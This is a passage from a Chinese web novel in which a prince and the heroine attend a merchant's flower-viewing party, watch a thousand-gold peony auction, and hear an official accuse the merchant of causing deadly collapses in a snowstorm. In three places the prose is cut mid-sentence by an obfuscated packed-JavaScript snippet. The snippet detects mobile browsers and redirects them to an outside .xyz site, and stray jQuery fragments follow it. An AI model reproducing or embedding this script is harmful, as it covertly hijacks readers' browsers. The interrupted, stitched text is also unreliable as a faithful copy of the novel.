“是,小人这就撤去随从,免得打扰了太子殿下的兴致。”翟容神色肃然,他动作仍然死板僵硬,再次行了大礼,带走一批随从。
刘之衍伸手按住应子清的脑袋,语气不妙:“你老是看他干什么。”
“谁看他了,”应子清觉得此人可恶,怎么老仗着比她长得高,随随便便把手搁在她脑袋上,“你不要这么压着我,我会长不高的!”
“你想长多高?”刘之衍想笑。
“高到你不能把手放在我脑袋上!”应子清生气。
刘之衍捏住她耳边的一缕发丝,轻轻绕在指节上:“别打岔,说,为什么盯着他看?”
应子清懒得跟他计较这种幼稚的动作,又怕离得远了,扯到头发,只得乖乖靠近他一点:“你不觉得那人奇怪吗?”
刘之衍看着她黑亮亮的长发,只觉得怎么这么服帖柔顺,发丝缠绕于指尖,又轻又软,缠得人心痒。他心中奇怪,为何头发这样软的人,性子却十分倔强独立,半点不懂得依赖他。就如那日送语兰出去,她宁可聘请外面的高手,也没想过寻求他的保护,一边心不在焉答道:“翟容?”
“对,”应子清认真说事,“他好像经历过什么灾难,比如一场重大的打击,你觉得呢?”
刘之衍摇头:“行为是有些古怪,但不算出奇。至于你说的打击,怎么从外表看得出来?”
应子清看着他,恍然明白一件事。在这里能做出心理判断的,恐怕只有自己,旁人只会觉得翟容有些不同,但不值得称奇。
应子清琢磨着,慢慢感觉情况不对。
因着刘之衍越来越亲密的动作,周遭的侍从眼力见极好,悄无声息退得干干净净。
两人离得近,刘之衍看她的目光深邃,眼里全是她的影子。连附近正在盛开的鲜花,也不能让他分心一二。
想起那天那个吻,应子清心跳漏掉好几拍,她移开眼神,努力忽视那道灼灼目光。
“你们也在这里。”
凉凉的带讽刺意味的男声,刺破两人之间的气氛。
刘弘煦身着月白袍衫,摇着扇子,满身冷意:“偶然路过,希望没有打扰太子殿下的美事。”
他这话对着刘之衍,眼睛却看应子清。
刘之衍没作声。
这人看到她,有事没事的,总喜欢刺那么两句。因为安景王的关系,应子清也没说话,心中对他暗暗提防。
刘弘煦倒也不尴尬,他手中拿着一朵新采的芍药,意味不明道:“今天,我父王也会来。太子殿下,走吧,今日的赏花会该开始了。”
听说安景王要来,应子清赏花的心思不禁淡了几分。
十二死士的事,刘弘煦知道吗?
他们与安景王所有刺探交锋,隐于水面之下,表面仍是平和。
一行人在路上走着,刘弘煦转过头,用只有两人听见的声音道:“你以为太子哥哥只会钟情于你一人?”
应子清左右看看,确定他是在跟自己说话。
“你想得美,”刘弘煦勾起唇角,“像我们这样的人,婚姻一事,从来不是喜欢谁,就会娶谁。你只不过是他随手碰到的玩物罢了,暂时喜欢而已。要不了多久,你会被他丢到脑后,忘得一干二净。”
他那冷嘲热讽的语气,好像自己过得不开心,就要把旁人拉下水。
“是吗?”应子清难得回了他一句,“所以你不会娶自己喜欢的人吗?”
刘弘煦神色寡淡:“不关你的事。”
应子清见他心不在焉把玩芍药。
这花一看,就是出自名品,开得娇艳欲滴。可是到了他手中,给他肆意蹂躏,掉了几枚粉玉似的花瓣,实乃暴殄天物。
应子清对他的讥讽不闻不问,倒是关心:“你这花,是给谁摘的?”
簪花,一向是女子戴的。
刘弘煦这朵,明显是给某位女子准备的。
“窦兰芷。”刘弘煦仍然在笑,笑得浑不在意。
烈日晃晃,刘弘煦的脸色很苍白,看着并不开心。
想到进门时,那声不清不楚的“兰儿”,应子清仿佛窥探到微妙的变化。
窦氏与安景王,终是通过婚姻联手了?
窦兰芷说她的婚事已定,原来定的是刘弘煦?
没想到这两个人,会凑到一起。
谢凝荷会不会知道?迟早会的。应子清替她感到难过。
应子清神色黯然,对刘弘煦叹息:“你刚才说,你们这种人,从来不是喜欢谁就会娶谁。可我却觉得,拼尽全力,追寻那个不能在一起、却很喜欢的人在一起,才是人间一大快事。”
刘弘煦听了,脸色更加苍白,他抬起眼,仿佛第一次认真看她。
半晌,刘弘煦仓促转开脸,嗤笑道:“你懂什么!”
应子清想,她大概懂一点,安景王有夺位之心,刘弘煦作为世子,要为他的父王出力。
但她仍然记得,谢凝荷曾经说过,刘弘煦曾经对她那么好,不肯让她的绣鞋沾上尘埃,解下大氅为她纤足铺路。
记得那日映月楼下,谢凝荷问刘弘煦,安景王谈论刘弘煦的婚事时,是否提到过谢家女。他冷声道,说她听错了。
当日刘弘煦说得清清楚楚,世子妃由他自己挑选。
是他亲手扼断了与谢凝荷的姻缘线,挑中了窦兰芷。
望着刘弘煦手中被捻得奄奄一息的芍药,应子清心中十分感慨,那时谢凝荷说,他们回不了头了。
他们的确再无回头的可能。
进了正院,刘弘煦携着那朵奄奄一息的芍药,与他们分离。
揽芳华庭院花香萦绕,气味芬芳,处处有蝴蝶蜜蜂飞舞。
绿树浓阴,花树枝繁叶茂,落叶缤纷。
沿着池塘的周围,修了别致小庭院,岸上人来人往倒影在碧波之中,池中开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995341|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着朵朵金莲。
因着有了请帖,应子清也有了一张桌案,她在自己的座位坐下。
一条江南式样的乌篷小船,由一位漂亮的少女撑着碧莹莹的船篙,从池中缓缓飘出。船头最显眼的位置,布置张几子,摆了名花。
旁边有专人唱诺,讲一讲花的名字来历,还有故事,为在场的人品一品不同的花色。
乌篷小船首尾不断,接连而出。摆在船头的这些花,正值花期,开得富丽大方,极尽妍丽,在座的宾客们看得连连赞叹。
应子清不大认识,跟着看个虚热闹。
来来去去看了一会,一开始觉得新鲜,后面应子清渐渐走神。
刘弘煦与窦兰芷与他们隔开,在他们对案。他摘的那朵芍药,被窦兰芷搁在自己的桌案上,她并不戴。窦兰芷背脊挺立,宛如精致名贵的瓷偶,刘弘煦一手拿着酒壶,给自己倒酒。
两人的桌案离得近,只是貌合神离,彼此不说话。
应子清感受夏日湖面,徐徐吹来的微风。
眼下看似风平浪静,她却知道,这是山雨欲来风满楼的前兆,暂时的和平。
安景王赴宴来的晚,此人最喜出风头,他大步流星在前面走,身后跟了长长的仆从,浩浩荡荡在小道上走。
安景王一来,在场的人不看花了,纷纷转头去看他。
翟容听见下人的禀报,从容起身,去院中的一角恭候。
应子清见那两人碰面,安景王喜不自胜,谈笑间带着亲密,连连拍打翟容的肩膀,两人的关系果然不错。
应子清借着茶杯挡住脸,小声与刘之衍道:“翟容为什么请我们赏花?”
刘之衍摇头:“不知。”
应子清心里转过七八个念头,总觉得有不好的事要发生:“那你为什么赴约?”
“不是说了?”刘之衍好整以暇,喝了口茶,“夏日繁花似锦,错过可惜。”
“当真来赏花?”应子清顿了下,反问。
“当真赏花。”刘之衍轻松道,“一会带你去别的地方。”
什么啊!闹半天,只有她一人紧张了半日?
应子清默默喝口茶水,再一抬眼。
柳树枝条随风飘荡,竹篱缀着万千蔷薇花,在盛夏的日头下,开得姹紫嫣红。
应子清又喝了杯茶水,心情慢慢放松。
那荷塘之中,品过了名花,驶进一条大船,鼓做的舞台,美姬们抱着琵琶,开启了新的歌舞。丝竹之音流淌,顺着水波荡开。
恰恰这时,刘之衍起身,顺手握住应子清的手腕,将她一起拉起身。
“好难听。”
恍惚之间,应子清听刘之衍这么说了句,她失笑。
她怎么忘了,这人耳朵极好,乐感上佳,怎么可能忍得了靡靡之音。
转头来到一处阡陌之间,大约是培育的花苗地方,有点像菜园。
他们身后是一簇一簇的篱笆,相比主院用乌蓬船展示的名花,这里盛开的花,多是寻常街道随处可见的凡品,但应子清见了觉得亲切。
刘之衍见她喜欢,淡淡笑着,不知道从哪拿出一只陶土烧的埙,就着夏日带着热气的微风,吹了一首他自编的旋律。
陨的音线低沉浓重,古朴典雅,呜呜作响,沉郁的音调仿佛顺着风,从远古的历史长河中送来。
好像更适合在出现在连绵起伏的沙丘上。
应子清冷不丁注意到,树下有道身影,一个男子站在那里,默默聆听着刘之衍吹奏的旋律。
居然是翟容,眼泪正顺着他异常苍白的脸庞滑过。
63. 第 63 章
狂风骤然吹来,携摧枯拉朽之势,将附近的绿荫吹得哗啦啦作响,树上的花瓣纷纷扬扬落下。
刘之衍停了,跟着看过去。
翟容不防自己被发现,站在原地欲言又止。
应子清抬起手,朝他挥了挥:“翟东家,能不能过来一下?”
翟容叹口气,擦掉满脸的狼狈,束手束脚走过去。
“太子殿下的曲律真是高妙,令小人动容不已,乃至失礼,让殿下见笑了。”翟容俯首作礼,“敢问殿下,这首曲子,可有名字?”
“不必多礼,”刘之衍叫他起身,“不过兴之所至,随手调弄的曲调,没有名字。”
翟容没有起身,而是抬起那张消瘦清俊的脸,他眼底烧着幽暗的火:“殿下的曲调音律至纯至善,我听闻曲似人心,今日有幸聆听此曲,实感意外。方才篱笆之下匆匆一见,我已折服。再听此曲,我相信,太子的心思一如这首曲调,纯粹干净。外界传言太子暴戾,我想,必是捕风捉影。”
极少人会在刘之衍面前主动提及他曾经的名声,翟容不像没有眼力的人,偏偏他就提了。
挑衅,还是试探?
刘之衍居高临下打量他。
翟容仍然匍匐在地,但他哪怕俯仰于人,丝毫没有自卑之态。
恐怕这才是翟容的本色,玉川郡最大最年轻的富商!
应子清注意到,翟容原本是状若心如死灰之人,仿佛突然之间,他眼眸的空洞消失,取而代之的是一副精明伶俐之相,连眼角的小痣,也变得生动。
可她却觉得,这突如其来的转变,古怪至极。
一个人的无意识心理状态是不可控的,若是能自由切换转变,心理学这门学科也别开了。
她不禁想到一个不太舒服的词,回光返照。
翟容满脸凝重,久久思索一番后,忽然道:“殿下,小人能不能求殿下垂怜,恩准小人他日拜访东宫。”
刘之衍低头看他,反问:“哦?为何而来?”
“为……为殿下刚才兴之所至的小调。”翟容那双精明的眼,黯然片刻,“小人希望殿下写下曲谱,小人自会寻一诗人填词,交由歌者传颂……”
“你打算写什么样的词?”刘之衍道,“这首曲调,与风月搭不上。”
翟容年龄这么轻,刘之衍猜测,他大约想谱写给女子。不过由埙吹出来的声音,厚重古拙,作送别、悼亡词尚可,与谈情说爱隔了十万八千里。
翟容摇了摇头,没有作答,而是继续恳求道:“小人厚颜劳动殿下作曲谱,实在惶恐!登门之日,必有一礼相送,万望殿下恩准!”
翟容这句话有玄外之音,重要的不是曲谱,而是他想送的“礼物”!
应子清看向刘之衍,他打量翟容片刻,不动声色道:“可以。”
翟容得了恩准,再次磕头碰脑,肃然一张脸,起身离去。
一只手罩住应子清的眼睛,刘之衍的声音在黑暗中响起:“他那张脸有什么可看的,难道你喜欢他脸上那颗小痣?”
他这么一提起,应子清才想起翟容那颗小痣,配上他那张苍白清隽的脸,是很惹眼的。
刘之衍声线不冷不热:“这么一个年轻斯文的富商,是不是讨女子喜欢?听说翟容在玉川郡,很受姑娘们的喜欢。李家有位小姐,自从见过翟容一面,便想做他的妻子。李家人不同意自家的千金嫁给商人,她求翟容求而不得,想了个主意,约翟容月下饮酒。她本意是毒死翟容,自己再跟着一起去,但求同年同月同日,殉情而死。”
应子清郁闷,她根本没想那么远,不过这位李家小姐行事实在大胆,她忍不住追问,“……然后呢?”
刘之衍见她关心故事,而不是关心翟容,也就放过她。盖住她眼睛的手,转而搭在她薄瘦的肩膀上,凑在她耳旁说道:“翟容没赴约,李家这位姑娘做的事也被李家人发现,她被严加看管起来。”
刘之衍的胳膊很重,压得应子清肩膀逃不开。他离得那么近,低沉好听的的嗓音,带着暧昧的热度,送进耳朵里,应子清耳廓渐渐发红。
语兰和香巧两人脸上露着雀跃之色,匆匆找来:“殿下,子清姐姐,你们去哪里了!院子那边在唱卖名花呢!有一株魏紫牡丹是今天的‘花后’,喊价一千两,价格越拍越高,现在还在争。他们抢得好厉害,咱们快去看!”
应子清醒了一醒,急忙推开刘之衍的手,装作特别感兴趣的样子:“走走,我要去看看!”
庭院那边,人人从桌案边站起身,初夏炎热,气氛更热,每个人脸上浮着激动的红晕。
唱卖人是位美姬,她把长袖挽起,用一条丝带扎起来,露出藕白的手臂。纤手拿一柄团扇,遥遥指向一个方向,朱唇欲起:“崔三公子喊价,一百金!还有没有更高的!魏紫可是花中皇后,稀世珍品,错过可就没有了!”
底下有人在喊:“卖那么高价格作甚,回家可不能当饭吃!”
不等美姬开口,就有旁人笑话:“庸俗!你趁早别呆在这里,回家吃饭去吧!这花,自然是送给心上人簪花用的。博佳人一笑,千金又如何?!我出一百五十金!”
那人被笑话,心中正不服气,抓住机会讥讽道:“哦哟!您老说的那么厉害,我还以为您老要出千金,结果才多出五十金而已!呸!”
窦兰芷摇着团扇,轻言细语:“刘弘煦,既然是魏紫是花中皇后,在场的人除了我,还有谁配得?你说是吗?”
刘弘煦住了倒酒的手,转脸看她。
窦兰芷淡淡一笑:“那朵‘花后’牡丹,我要你送给我。”
安景王恰好听见,哈哈大笑:“不错,窦家的千金自然配得上最好的。煦儿,你去把这株魏紫拿下手,送予你的未婚妻。传出去,还能成就一桩佳谈!”
传出去,谢凝荷也会听见。
刘弘煦的动作不禁变得迟慢。
场上的喊价声不止,魏紫随时有可能被人截下。
窦兰芷没有催促,仍是轻摇那朵秀美的刺绣团扇,神色高傲轻蔑,又有些许忧伤。她要的就是刘弘煦高调地对她好,至于那件东西是什么,一点都不重要。不过,她打心底,一点也不在意刘弘煦是不是送她东西。就如华服披上身上,那种沉重和冰凉感,唯有自己知道。
安景王却坐不住,不耐道:“煦儿,你怎么回事啊?”
刘弘煦闭了闭眼,随后一脸漠然,站起身:“无事,儿臣这就去。”
安景王世子从人群中,施施然走出。
刘弘煦一身月白衫,发戴美玉,澄净皎洁,一如芝兰玉树的贵公子。
只是他神色清冷,略带厌倦,冲着舞台之中唱卖的美姬,淡声道:“这朵魏紫,我要了,一千金。”
刘弘煦的声音不怎么大,很快被周遭喧闹的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015113|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声压下去。
然而,就如一枚沉入海底的炮仗,片刻悄然无声后,倏然在深海底炸出可怖的漩涡。
做唱卖的人,必须有见多识广的本领,尤其是要从那么多张面孔,认出那个人到底是谁,身份如何,能不能出得起价格。
自打刘弘煦一出来,美姬便分出心神,留在他身上,竖着耳朵,注意从乱七八糟的声音里,捕捉他的喊价声。
因而,刘弘煦喊出一千金时,别的声音,美姬全都听不见了,愣愣地重复道:“什么?世子,您说多少?一千金?”
美姬的声音,又似一个新炮仗,迅速传到全场所有人的耳朵里。
“我耳朵是不是不好使了?安景王世子出价多少?!”
“真叫出一千金了!”
“今天这场赏花会来得太值了!”
“不愧是‘花中王后’,一千金,当得起这个名头!”
“哎?等一会儿!世子买了,送给谁去啊?送给他母妃吗?”
“你没长眼睛吗!窦家千金今天一直坐在在世子身边!我敢打包票,肯定是送给她的!”
“啊?这么说,窦家千金要嫁给世子!世子花一千金买下魏紫,送给将来的世子妃,这么说来,倒是合情合理……”
在一片海浪般喧嚣的议论声中,唱卖的美姬再次确认,刘弘煦喊价一千金。
美姬拿团扇的手,情不自禁发着抖,激动的。把一朵牡丹卖出这么高的价格,她以后可有谈资了!
安景王世子一出手,旁人就算有心想买,也不敢夺他所爱,纷纷偃旗息鼓。
此花的身价,徒然升了这么多。仆人大气也不敢出,小心翼翼捧着那株“花中王后”,唯恐碰伤一丁点,数十名家丁共同护卫,赶紧给世子送去。
不知怎的,场上的议论声,渐渐转了方向。
“都说无奸不商,这个翟容,厉害啊!故意摆出这朵牡丹,骗得大伙儿出价,为的是给自己的赏花会,打下名声!”
“是啊,他准是知道世子与窦家千金要来,一场赏花会办下来,腰包又鼓了!”
“安景王不是与他交情甚好吗?没想到,自己人都骗!怪不得有句话叫,杀熟!”
“别把人心说得那么凉薄,依我看,要分人的。比如这翟容,看着就不像好人!”
翟容穿着一黑一白的布鞋,踏上舞台,他朝安景王的方向,遥遥作一揖:“世子今日购买之千金,此番资费,便由小人一力承担。小人承蒙王爷多年的照顾,无以回报,权当是给世子新婚,呈送的一份贺礼。”
安景王听了,稍感意外,随后他喜笑颜开,端起桌案上的酒杯,冲翟容举起,算是笑纳。
庭院中的声音,暂时静了一静,随后嗡嗡声更大了。
翟容挺直身体,肃然道:“小人今日在此举办赏花会,且将府中的名花,一一唱卖,并非为了其他。今日所获的资财,小人尽数捐出,用以此次赈雪灾、济危贫之举!其中,小人会将大部分善款,捐给玉澜邑,祈愿当地的百姓,能够早日度过难关,恢复往昔的安宁……”
不待翟容说完,一张桌案被人用力一踹,飞入池塘之中。
溅起的水花,污湿了场上翟容的脸面与袍角。
身穿靛青长袍,头戴黑幞头的中年男人,带着汹汹之势,指着翟容大骂:“市侩奸人,罪恶滔天,你休想用这臭钱赎罪!”
64. 第 64 章
整个场面如沸腾不止的开水,人声一波高过一波。
“什么罪孽?好吓人的话!里头有什么故事,你说清楚!”
“你是什么人!怎得污蔑主人家!”
“就是,真是失礼,哪有上门指责主人家的不是!”
不顾周遭哗然之色,那人向众人抱拳作礼:“下官正是玉澜邑的邑长,尉迟业!”
尉迟业将手一展,恨声道:“下官刚从玉澜邑出来,对京中的事情一无所知。我若是知道这个劳什子花会,是翟容办的,绝不会来!”
“我是不是冤枉翟容,你们不必着忙,且听我道来,”尉迟业不慌不忙,昂首挺胸,“各位,你们都听说玉川郡富饶,此话不错!玉川郡沃野绵延千里,田间阡陌纵横,既有巍峨青山,也有湖泊流水,一向富饶。可惜我们玉澜邑,平白占了个好名字,位置却不太好,有一座大山将我们与肥沃的平原阻挡。”
“去年夏天,我们玉澜邑拿到朝廷的拨款,乡亲们也把家里的银钱凑一凑,足足三千两,委托这位手眼通天的翟大商人,替我们修路。那翟容收下银钱……”
有旁人忍不住,追问道:“那他是办了,还是没办!你赶紧说呀!”
说到这里,尉迟业思及痛苦往事,不禁气喘吁吁:“翟容收下银钱,办是办了,可是你们也知道,商人之奸滑!他派来的役人,不堪使用,懒懒散散,筑的基底并不用心,用的却是最拙劣的石料,粉末似的一碰就碎。以次充好,偷工减料,乃市侩之奸也!若是放在平日,也就罢了,只当我们银钱打了水漂……”
“可是诸位啊!你们都知道,去岁下了一整个冬天的雪!”尉迟业堂堂一大汉,情至深时,双目潸然,愤而怒吼,“那翟容修的大路,受不住暴雪,豆腐一样崩塌了,大山泥石俱下,截断往来通道。受困的人出不去,救援者进不来!暴雪肆虐,我们玉澜邑被大雪封山,皑皑白雪覆压三月之久!”
“乡邑之中,百姓饥寒交迫,缺衣少食,冻毙者不计其数,其惨状……无法言明,老汉我至今犹自夜不能寐,喘不上气来啊!”
尉迟业收不住情绪,当众伏地,嚎啕大哭,随他一起来的友人不忍心,将他搀扶起。
尉迟业哭是哭了,恨也跟着醒了,他再度指着翟容大骂:“奸商唯利是图,贪那小便宜,其行径罪大恶极!我恨不得将此贼,剥皮抽筋,告慰冤死的亡灵!”
安景王听到这里,已经不满。这两个人闹的,都是他管辖范围出的事。俗话说,家丑不可外扬,他对姜泽语使了眼色,姜泽语点点头,悄声退下。
片刻后,有无名仆人,来到尉迟业耳畔,低声说了一番话。
尉迟业听了脸色煞白,神色愕然,再看场中沉默的翟容,他愤愤道:“好好好,在玉澜邑的时候,下官就奈何不了你,到了长安城,更是拿你没办法!”
“不过翟容,你别嚣张,我要问你一句话,”尉迟业奋力拨开试图阻拦他发声的仆人,向前两步,怒目切齿,“玉澜邑是你的家乡,此次死去的百姓,多是你的亲族好友,而你的娘亲,亦是在这场大雪中冻毙!”
“活活冻死的啊!死人的模样你见过吗?一张张熟悉的脸,还保持活人的鲜活,可是他们浑身结了层薄薄冰霜,五脏六腑乃至热血,全冻成冰!”尉迟业满目通红,“翟容啊翟容,你怎么还有脸,在这里歌舞升平,举办什么赏花宴,寻欢作乐的呀!”
“翟容!午夜梦回之际,你难道就不做噩梦?你的良心,没有丝毫不安吗!”
此言一出,原本抱着看热闹心态的人,脸色亦是一变,投向翟容的眼光,带上异样之色。
弄虚作假玩到乡亲的头上,害死自家的亲娘,已经不是罪大恶极那么简单。
这是丧心病狂,天人共愤了!
只是有安景王在此坐镇,方才又明显派人出来,力保翟容。否则,尉迟业说完那番问话,该有石子杯子,往翟容身上砸了。
翟容脸面和衣襟,狼狈地流淌着水滴。从尉迟业说话伊始,他站在舞台的中央,接受所有人或厌恶或愤怒的打量。
翟容苍白着一张脸,目光平静如死水,等了片刻,尉迟业没了其他话,他轻声问:“尉迟大人,请问你说完了吗?”
尉迟业是老实本分的官员,他瞪着一双虎目,龇牙咧嘴,就是没再开口。有一说一,该说的话,他已经说完了,编排翟容的话,他不屑讲。
翟容没有否认尉迟业说的事,像是认下尉迟业对他所有的指控。
翟容将脸上的水渍拂去,他在池塘周围找了一圈,找到刘之衍的方向,冲那里作了一揖:“太子殿下,小人听闻朝廷近日,欲赈济雪灾之难,小人愿意捐出半数身价,供与朝廷,为此次赈灾之资。”
满场顿时寂静一片,连夏日蝉鸣亦是止了声。
翟容是玉川郡最大的富商,他的家资到底有多少?谁也不清楚,但谁都知道,那绝非一笔小数目。
这么大一笔数目,翟容眼都不眨,就这么捐出去了?
安景王脸色一黑,心中惊疑不定。
他绝没想到,好端端的赏花会,闹出这么多事,可谓一波未平一波又起!
翟容是他最看好的商人,也是他用得最称心的伙伴。翟容作这样的决定,竟然没有提前过问他!翟容还是当着众人的面,向刘之衍请示!
难道没把他安景王放在眼里!
这么大的决定,可不是翟容想如何就能如何的!
不待安景王开口,翟容又冲刘之衍再揖一礼:“小人深知商人身份卑微,因而这次捐款,小人将以安景王的名义捐出,还望殿下准许!受灾的百姓处于水深火热之中,王爷的善举是雪中送碳,万望殿下成全,以解朝廷百姓的燃眉之急。”
像是怕刘之衍听了刚才的话,不愿意收他的捐赠,翟容把话变了一变。
刘之衍给翟容指了方向:“此事乃薛宰相筹谋规划,你明日前往宰相府中,共相商议。”
算是半答应下来的意思。
两人一唱一和,竟把这件事定下来!
此事翟容又是借着他的名义捐赠,安景王好美名,一时不方便从中作梗。只是,他再看翟容的脸色,就没那么好了。
听闻玉澜邑的惨事,许多客人没了风花雪月的心思,他们放下手中的杯盏,纷纷离场。
场中的舞姬乐者,抱着他们的乐器,茫然四顾。接下来还有助兴的节目,但客人正在陆陆续续离开。
翟容仍是站立在舞台之中,他微微抬起眼,眼中光亮渐渐涣散,徒留一片苍茫之色。
应子清与刘之衍骑着马,在乡间的道路上,并排行走。
初夏微风柔和,夕阳西下,把两人的身影拖得老长。
刘之衍见她一张小脸皱着,心事重重,不由好笑:“你在想什么事,这么认真?”
应子清不知不觉道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019616|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出自己的想法:“估计不到半日,尉迟业说的事情,就会传遍长安城各个人家。”
刘之衍揽着缰绳,从容御马:“你又在担心翟容?”
“我不是担心,我是奇怪。”应子清不知道该如何向刘之衍解释她的专业判断,只好道,“我总觉得他要出事。”
应子清叹口气:“方才我就该叫住翟容,让他有空的时候,找我聊一聊。”
刘之衍却道:“你想和他说话,他觉得他愿意吗?翟容是极有主意的人,今日他做的事,揽芳华、千金牡丹,祸及玉澜邑,再者,捐出半副身家……”
刘之衍眸色微冷:“随便哪一件,都是惊天动地。他不仅做了,还都做成了。鼎鼎大名的商人,名不虚传,必定成为长安城热议的话题。倒是你,竟替这种精明狡黠之徒担心起来了。”
月影听懂似的,跟着喷了一响鼻,绯云骢乖乖跟着昂头打着响鼻。
刘之衍继续:“翟容不是说了要到东宫送礼?你若真想与此人交谈,耐心等一等,有的是时间。”
应子清想了想,觉得也是,不过等上三五天而已,于是丢开不想了,专心骑马。
刘之衍的目光时不时落在她身上,不知在琢磨什么。
到了第二日,果然如刘之衍所说。
诺大的长安城,连孩童都在议论翟容的名字。
前日的赏花会,此人的发家史,简直说也说不完,聊天聊到最后,落在每个人口中的叹息,都是一致的厌恶,一致的羡慕。
厌恶他居然如此可恶,对自家乡亲偷奸取巧,又羡慕他万贯家财,富得流油。
翟容说好捐出半副身家,当真不作假,骆驼队拉车,拉了足足半个多月。
连病中的庆帝也惊动了,特意着了薛宰相去询问。薛宰相把如何腾出三分之一的国库,专门存放等事,一一禀报。
病床前,庆帝一勺一勺舀着汤匙,喝着药:“这个翟容捐赠的东西,折合银两是多少?”
“户部把所有在京中的官员派去清点,数了整整七日。”薛宰相老老实实回禀,“算下来,约莫有一亿两白银。”
磕嗒一声。
庆帝的汤匙,在碗中磕碰出声响。
薛正源屏息敛神,没有贸然作声。
药是喝不下去了,申山机灵,轻手轻脚取走庆帝手中的药碗,又递去一张方帕。
庆帝擦着手,意味不明地笑了声:“玉川郡可真富啊,他捐了这么多银子,朕手里有什么赏赐,是他看得上眼的?”
这话问得不妙,薛正源没接茬,而是把那日尉迟业说的事情也告知了:“翟容是借安景王的名义捐赠的,论赏,应该赏给安景王。”
“既然是安景王的好意,”庆帝说,“朕的兄弟,就按兄弟之间的亲密法儿赏。改日朕少不得撑着这把老骨头,办个家宴,把他们一家子请到宫中来坐坐。”
庆帝有了主意,薛正源答应了声“是”,准备退下。
庆帝叫住他:“近来衍儿跟着你一起处理公务,情况如何?”
薛正源回答:“太子殿下异常聪明,勤勉好学,凡事交到他手里,处理的井井有条。”
庆帝沉吟一会:“这件事就让他跟着你一起,让他长长见识。不要像朕一样糊涂,到今日才知道一个商人的半副身家,抵得上长安城三分之一的国库!”
话说到最后,似有雷霆之怒,在空旷的大殿中回荡。
65. 第 65 章
窦知微从廊下走来,碰见申山,他略一颔首:“见过申公公。”
申山笑起来:“窦舍人,这是刚轮值吧?”
窦知微点点头,他问:“申公公手上拿的什么?圣上没喝药?”
既然问起,申山不好瞒着,苦着一张脸:“是呀!这不剩了这么多,没喝完就不喝了。”
“圣人在见谁?”窦知微跟在庆帝身边有段时间,他知道,若是庆帝听到不好的消息,心情不好就懒得吃药。
“在见薛宰相,正说着前日,长安城那桩赏花宴的事。”申山唉声叹气。
一个眨眼的空隙,窦知微便知道个大概:“圣上在发愁如何赏赐安景王?”
申山心中讶异,他只说了这么点消息,窦知微这人,仿佛亲临刚刚的场景,猜得如此精准。
往常旁人总说,窦舍人有七窍玲珑心,聪慧过人。申山越接触,越是赞同,他心下不禁微微发寒,这是对过度聪明的人一种的抵触与敬畏感。
申山不自觉怕他,不欲多说,陪笑道:“窦舍人,您瞧,老奴手中还端着碗,一会还得跟御医们交代呢。事情多,就不耽搁窦舍人了。”
窦知微拱手作礼,送走申山。
宫殿朱红长廊,窦知微身着六品官员的青袍,施施而行。
左书吏在桌案上写字,听见外面有动静,迎了上去,笑容满面:“见过窦舍人。”
窦知微冲他笑了下:“又是遇到什么难题?”
左书吏一见他那张还存着稚气的俊脸,哎呀一声,心下不好意思:“什么都瞒不过窦舍人!是有一件麻烦事!”
左书吏回身,捧出一支毛笔:“您瞧,兵部的卢大人想写一部手抄佛经,献给家里的老寿星祝寿。你也知道,兵部的人,让他们拿戟拿刀,上战场杀敌尚可,让他们拿笔墨,那不难为死他们吗!”
左书吏跟着窦知微走动,嘿嘿笑道:“卢大人求到我这里来,问下官有没有推荐的人选,帮忙写一部佛经。这不,下官想起您那一手妙字来了!”
大晋好书法,朝中人人都能写一手不错的字。但要论高妙,近年来公认的两人,一个是谢言昭,另一个是窦知微。
窦知微在自己的案旁坐下,他略微沉吟:“你说的,是卢报国,卢大人吗?”
“对对对,就是他,满脸络腮胡那个!”左书吏慌忙点头。
“我后日便能誊抄好,你叫他放心吧。”窦知微答应下来。
左书吏愣住:“哎哟,这么快?佛经那么多字,还不能见错字!窦舍人,您是打算熬夜费功夫写?”
“无妨,反正我也没别的事,祝寿要紧。”窦知微说着话,展开了一本空白册子,拿起毛笔吸饱墨,在上面匆匆写了几个字,展开给左书吏瞧。
“佛经一般是楷、草、行书,”窦知微道,“楷书要求骨正字美,我于此道上,差点火候。这一行字是行书,你瞧瞧,还入得眼?若是不嫌弃,我就用这种字体誊抄了。”
左书吏早就倾佩于窦知微,见他如此谦虚,当下哎哟大笑:“你这番话,我一定原封不动转达给卢大人!你这样的好意,卢大人定会感激不尽。”
“小事。”窦知微展开一卷书,细细读起来。
宫女轻叩门房,款款行至桌案边,在窦职位的桌旁,放下一碟酥饼:“窦大人,请用点心。”
窦知微抬眸,微微颔首,轻声道:“多谢。”
一见窦知微那双惹人怜爱的小狗眼,宫女悄悄红了脸,说话磕巴起来:“不、不用,您用、您用。”
